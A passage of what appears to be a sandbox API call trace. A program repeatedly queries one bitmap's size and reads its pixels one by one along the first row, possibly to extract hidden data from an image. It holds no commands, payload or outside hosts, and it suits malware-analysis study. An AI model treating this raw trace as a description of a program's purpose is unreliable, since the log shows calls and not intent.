VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.993] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.994] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.994] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=179, y=0, color=0x1c74cf80) returned 0x0 [0131.994] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.994] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.994] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.994] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.994] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=180, y=0, color=0x1c74cf80) returned 0x0 [0131.994] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.994] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.994] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.994] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.994] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=181, y=0, color=0x1c74cf80) returned 0x0 [0131.995] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.995] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.995] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.995] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.995] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=182, y=0, color=0x1c74cf80) returned 0x0 [0131.995] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.995] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.995] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.995] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.995] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=183, y=0, color=0x1c74cf80) returned 0x0 [0131.995] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.996] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.996] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.996] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.996] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=184, y=0, color=0x1c74cf80) returned 0x0 [0131.996] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.996] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.996] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.996] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.996] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=185, y=0, color=0x1c74cf80) returned 0x0 [0131.996] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.996] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.996] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.997] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.997] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=186, y=0, color=0x1c74cf80) returned 0x0 [0131.997] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.997] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.997] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.997] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.997] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=187, y=0, color=0x1c74cf80) returned 0x0 [0131.997] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.997] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.997] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.997] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.997] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=188, y=0, color=0x1c74cf80) returned 0x0 [0131.998] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.998] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.998] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.998] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.998] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=189, y=0, color=0x1c74cf80) returned 0x0 [0131.998] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.998] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.998] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.998] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.998] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=190, y=0, color=0x1c74cf80) returned 0x0 [0131.999] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.999] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.999] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.999] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.999] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=191, y=0, color=0x1c74cf80) returned 0x0 [0132.000] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.000] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.000] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.000] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.000] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=192, y=0, color=0x1c74cf80) returned 0x0 [0132.000] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.000] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.000] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.000] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.000] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=193, y=0, color=0x1c74cf80) returned 0x0 [0132.000] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.000] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.001] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.001] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.001] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=194, y=0, color=0x1c74cf80) returned 0x0 [0132.001] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.001] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.001] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.001] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.001] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=195, y=0, color=0x1c74cf80) returned 0x0 [0132.001] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.001] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.001] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.002] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.002] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=196, y=0, color=0x1c74cf80) returned 0x0 [0132.002] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.002] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.002] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.002] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.002] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=197, y=0, color=0x1c74cf80) returned 0x0 [0132.002] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.002] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.002] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.002] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.002] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=198, y=0, color=0x1c74cf80) returned 0x0 [0132.003] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.003] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.003] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.003] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.003] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=199, y=0, color=0x1c74cf80) returned 0x0 [0132.003] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.003] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.003] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.003] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.003] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=200, y=0, color=0x1c74cf80) returned 0x0 [0132.003] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.004] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.004] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.004] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.004] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=201, y=0, color=0x1c74cf80) returned 0x0 [0132.004] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.004] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.004] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.004] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.004] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=202, y=0, color=0x1c74cf80) returned 0x0 [0132.004] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.004] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.004] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.005] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.005] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=203, y=0, color=0x1c74cf80) returned 0x0 [0132.005] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.005] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.005] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.005] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.005] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=204, y=0, color=0x1c74cf80) returned 0x0 [0132.005] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.005] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.005] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.005] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.005] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=205, y=0, color=0x1c74cf80) returned 0x0 [0132.006] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.006] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.006] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.006] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.006] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=206, y=0, color=0x1c74cf80) returned 0x0 [0132.006] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.006] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.006] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.006] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.006] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=207, y=0, color=0x1c74cf80) returned 0x0 [0132.006] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.007] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.007] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.007] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.007] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=208, y=0, color=0x1c74cf80) returned 0x0 [0132.007] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.007] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.007] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.007] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.007] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=209, y=0, color=0x1c74cf80) returned 0x0 [0132.007] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.007] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.007] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.008] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.008] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=210, y=0, color=0x1c74cf80) returned 0x0 [0132.008] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.008] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.008] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.008] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.008] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=211, y=0, color=0x1c74cf80) returned 0x0 [0132.008] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.008] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.008] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.008] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.009] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=212, y=0, color=0x1c74cf80) returned 0x0 [0132.009] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.009] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.009] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.009] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.009] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=213, y=0, color=0x1c74cf80) returned 0x0 [0132.009] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.009] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.009] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.009] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.009] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=214, y=0, color=0x1c74cf80) returned 0x0 [0132.010] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.010] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.010] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.010] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.010] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=215, y=0, color=0x1c74cf80) returned 0x0 [0132.010] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.010] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.010] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.010] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.010] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=216, y=0, color=0x1c74cf80) returned 0x0 [0132.010] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.010] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.011] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.011] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.011] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=217, y=0, color=0x1c74cf80) returned 0x0 [0132.011] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.011] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.011] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.011] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.011] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=218, y=0, color=0x1c74cf80) returned 0x0 [0132.011] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.011] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.011] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.012] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.012] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=219, y=0, color=0x1c74cf80) returned 0x0 [0132.012] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.012] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.012] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.012] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.012] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=220, y=0, color=0x1c74cf80) returned 0x0 [0132.012] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.012] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.012] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.012] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.013] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=221, y=0, color=0x1c74cf80) returned 0x0 [0132.013] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.013] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.013] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.013] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.013] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=222, y=0, color=0x1c74cf80) returned 0x0 [0132.013] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.013] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.013] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.013] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.013] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=223, y=0, color=0x1c74cf80) returned 0x0 [0132.014] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.014] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.014] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.014] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.014] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=224, y=0, color=0x1c74cf80) returned 0x0 [0132.014] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.014] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.014] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.014] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.014] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=225, y=0, color=0x1c74cf80) returned 0x0 [0132.014] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.015] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.015] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.015] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.015] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=226, y=0, color=0x1c74cf80) returned 0x0 [0132.015] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.015] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.015] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.015] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.015] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=227, y=0, color=0x1c74cf80) returned 0x0 [0132.015] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.015] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.015] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.016] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.016] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=228, y=0, color=0x1c74cf80) returned 0x0 [0132.016] VarDecInt (in: 